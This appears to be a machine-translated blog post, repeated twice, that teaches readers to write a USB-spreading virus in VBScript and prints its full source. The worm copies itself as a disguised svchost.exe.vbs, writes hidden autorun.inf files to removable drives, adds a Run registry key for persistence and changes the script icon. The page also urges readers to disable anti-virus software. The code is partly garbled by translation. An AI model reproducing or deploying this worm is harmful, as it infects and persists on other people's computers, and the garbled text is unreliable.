Some anti-virus programs mistakenly pick up parts of Cheat Engine as a trojan/virus. It's best to disable your anti-virus before installing or running Cheat Engine
This installer makes use of the OpenCandy software recomendation plugin
Tuesday, April 6, 2010
Monday, April 5, 2010
Making Virus With VBScript
To create a virus is not too difficult just using notepad only tool we have been able to make a virus. But it would be nice if we understand a little of programming languages such as Visual Basic. Before we discuss further advance the writer will explain the working principle of viruses in general.
Working Principle Virus
1. Viruses basically just a program or script programming as well as programs that often we find: Ms Word, Excel, Corel and others. It's just made for the purpose of this program is not good even damaging.
2. The size is so small that the virus program enough for introduction into the flash or disk icon that is used and is usually very similar to the shape such as word documents or folders.
Note the picture below
Tiles
At first sight can not distinguish where the original folder where not and where the original document and which the virus.
Now look at the display in the Folder and Document View Details
Detailed
Folder icon or documents with the Application Type and Screen Saver is guaranteed to be virus. Because the maker and screen saver applications install folder icon or the word must have a less good faith.
3. Usually these viruses masquerading under the name of an existing file in your flash or diskette, while your original documents hidden in a hidden file. For how to bring these hidden files you can see in the blog without anti-virus Prevent Viruses
4. When you double-click virus virus program will be executed. The first step is to open a document that the virus is hidden to reduce the user's suspicion.
5. The next virus will copy itself to the hard drive and write the registry at HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run or HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run so that the virus program is executed automatically when the computer first turns on.
6. If necessary Virus Task manager and regedit to disable to prevent users from manually remove the virus
7. The next virus will be activated to check if there is a new document file in flash or diskette in every few seconds, which would then be hidden and then copy the virus file and name in accordance with this hidden file name. The virus also will write the script in the flash Autorun.inf is hidden so that the virus is automatically executed when the flash is in the double-click the My Computer
So demikiankah cycle virus from pendrive to the computer and from computer to pendrive
About VB Script
VB Script or Visual Basic Script is really just plain text that contains the code of visual basic programming language and stored with vbs format. To create a vbscript simple enough to use a text editor such as Notepad or using a more complete, such as Ultra Edit or Notepad + +. Here is an example of a simple vbscript.
1. Open the Notepad program from Start> All Programs> Accessories> Notepad.
2. Write the following text
MsgBox "This is a sample VB Script Simplified"
3. Then save the file with the change Save as Type to All Files
4. Give the file a name with an extra. Vbs behind. For example ScriptSederhanan.vbs
5. Now look at the display icons in file explorer, no longer in the form of text. Try to click 2 times the file, then the dialog box will appear saying This is a sample VB Script Simple.
6. Required for the vbscript to be virus code so that the right is just follow the process described above.
Simple Virus Code Examples
Here is a sample code using vbscript a simple virus. If you want to try should turn off Anti-virus on also Install Deep Freeze and freeze the entire hard drive later
'El Magnifico MAN
on error resume next
mysource dim, winpath, flashdrive, fs, mf, ATR, tf, RG, nt, check, sd
ATR = "[autorun]" & vbcrlf & "ShellExecute = wscript.exe svchost.exe.vbs"
set fs = createobject ("Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
mysource = mysource & text.readline
mysource = mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder (0)
set tf = fs.getfile (winpath & "\ svchost.exe.vbs")
tf.attributes = 32
set tf = fs.createtextfile (winpath & "\ svchost.exe.vbs", 2, true)
tf.write mysource
tf.close
sets tf = fs.getfile (winpath & "\ svchost.exe.vbs")
tf.attributes = 39
For Each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf = fs.getfile (flashdrive.path & "\ svchost.exe.vbs")
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & "\ svchost.exe.vbs", 2, true)
tf.write mysource
tf.close
set tf = fs.getfile (flashdrive.path & "\ svchost.exe.vbs")
tf.attributes = 39
set tf = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)
ATR tf.write
tf.close
set tf = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 39
end if
next
set of RG = createobject ("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ svchost", winpath & "\ svchost.exe.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ MS32DLL", ""
rg.regwrite "HKCR \ vbsfile \ DefaultIcon \", "shell32.dll, 3"
if check <> 1 then
Wscript.sleep 100,000
end if
loop while check <> 1
set sd = createobject ("Wscript.shell")
sd.run winpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
do while year (now)> = 2008
WScript.sleep 20000th
MsgBox "Eliminate the UN to improve education in Indonesia" & vbcrlf & _
"Because a lot happens in the UN political fraud and schools" & vbcrlf & _
"To raise the prestige schools. Even in certain districts," & vbcrlf & _
"Cheating is sanctioned by the district government is" & vbcrlf & _
vbcrlf & vbcrlf & _
"NATIONAL EXAM unselect" & vbcrlf & vbcrlf & _
"The voice of the teacher concerned on the education system"
loop
Working Principle Virus
1. Viruses basically just a program or script programming as well as programs that often we find: Ms Word, Excel, Corel and others. It's just made for the purpose of this program is not good even damaging.
2. The size is so small that the virus program enough for introduction into the flash or disk icon that is used and is usually very similar to the shape such as word documents or folders.
Note the picture below
Tiles
At first sight can not distinguish where the original folder where not and where the original document and which the virus.
Now look at the display in the Folder and Document View Details
Detailed
Folder icon or documents with the Application Type and Screen Saver is guaranteed to be virus. Because the maker and screen saver applications install folder icon or the word must have a less good faith.
3. Usually these viruses masquerading under the name of an existing file in your flash or diskette, while your original documents hidden in a hidden file. For how to bring these hidden files you can see in the blog without anti-virus Prevent Viruses
4. When you double-click virus virus program will be executed. The first step is to open a document that the virus is hidden to reduce the user's suspicion.
5. The next virus will copy itself to the hard drive and write the registry at HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run or HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run so that the virus program is executed automatically when the computer first turns on.
6. If necessary Virus Task manager and regedit to disable to prevent users from manually remove the virus
7. The next virus will be activated to check if there is a new document file in flash or diskette in every few seconds, which would then be hidden and then copy the virus file and name in accordance with this hidden file name. The virus also will write the script in the flash Autorun.inf is hidden so that the virus is automatically executed when the flash is in the double-click the My Computer
So demikiankah cycle virus from pendrive to the computer and from computer to pendrive
About VB Script
VB Script or Visual Basic Script is really just plain text that contains the code of visual basic programming language and stored with vbs format. To create a vbscript simple enough to use a text editor such as Notepad or using a more complete, such as Ultra Edit or Notepad + +. Here is an example of a simple vbscript.
1. Open the Notepad program from Start> All Programs> Accessories> Notepad.
2. Write the following text
MsgBox "This is a sample VB Script Simplified"
3. Then save the file with the change Save as Type to All Files
4. Give the file a name with an extra. Vbs behind. For example ScriptSederhanan.vbs
5. Now look at the display icons in file explorer, no longer in the form of text. Try to click 2 times the file, then the dialog box will appear saying This is a sample VB Script Simple.
6. Required for the vbscript to be virus code so that the right is just follow the process described above.
Simple Virus Code Examples
Here is a sample code using vbscript a simple virus. If you want to try should turn off Anti-virus on also Install Deep Freeze and freeze the entire hard drive later
'El Magnifico MAN
on error resume next
mysource dim, winpath, flashdrive, fs, mf, ATR, tf, RG, nt, check, sd
ATR = "[autorun]" & vbcrlf & "ShellExecute = wscript.exe svchost.exe.vbs"
set fs = createobject ("Scripting.FileSystemObject")
set mf = fs.getfile (Wscript.ScriptFullname)
dim text, size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream (1, -2)
do while not text.atendofstream
mysource = mysource & text.readline
mysource = mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder (0)
set tf = fs.getfile (winpath & "\ svchost.exe.vbs")
tf.attributes = 32
set tf = fs.createtextfile (winpath & "\ svchost.exe.vbs", 2, true)
tf.write mysource
tf.close
sets tf = fs.getfile (winpath & "\ svchost.exe.vbs")
tf.attributes = 39
For Each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf = fs.getfile (flashdrive.path & "\ svchost.exe.vbs")
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & "\ svchost.exe.vbs", 2, true)
tf.write mysource
tf.close
set tf = fs.getfile (flashdrive.path & "\ svchost.exe.vbs")
tf.attributes = 39
set tf = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 32
set tf = fs.createtextfile (flashdrive.path & "\ autorun.inf", 2, true)
ATR tf.write
tf.close
set tf = fs.getfile (flashdrive.path & "\ autorun.inf")
tf.attributes = 39
end if
next
set of RG = createobject ("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ svchost", winpath & "\ svchost.exe.vbs"
rg.regwrite "HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion \ Run \ MS32DLL", ""
rg.regwrite "HKCR \ vbsfile \ DefaultIcon \", "shell32.dll, 3"
if check <> 1 then
Wscript.sleep 100,000
end if
loop while check <> 1
set sd = createobject ("Wscript.shell")
sd.run winpath & "\ explorer.exe / e, / select," & Wscript.ScriptFullname
do while year (now)> = 2008
WScript.sleep 20000th
MsgBox "Eliminate the UN to improve education in Indonesia" & vbcrlf & _
"Because a lot happens in the UN political fraud and schools" & vbcrlf & _
"To raise the prestige schools. Even in certain districts," & vbcrlf & _
"Cheating is sanctioned by the district government is" & vbcrlf & _
vbcrlf & vbcrlf & _
"NATIONAL EXAM unselect" & vbcrlf & vbcrlf & _
"The voice of the teacher concerned on the education system"
loop
Subscribe to:
Posts (Atom)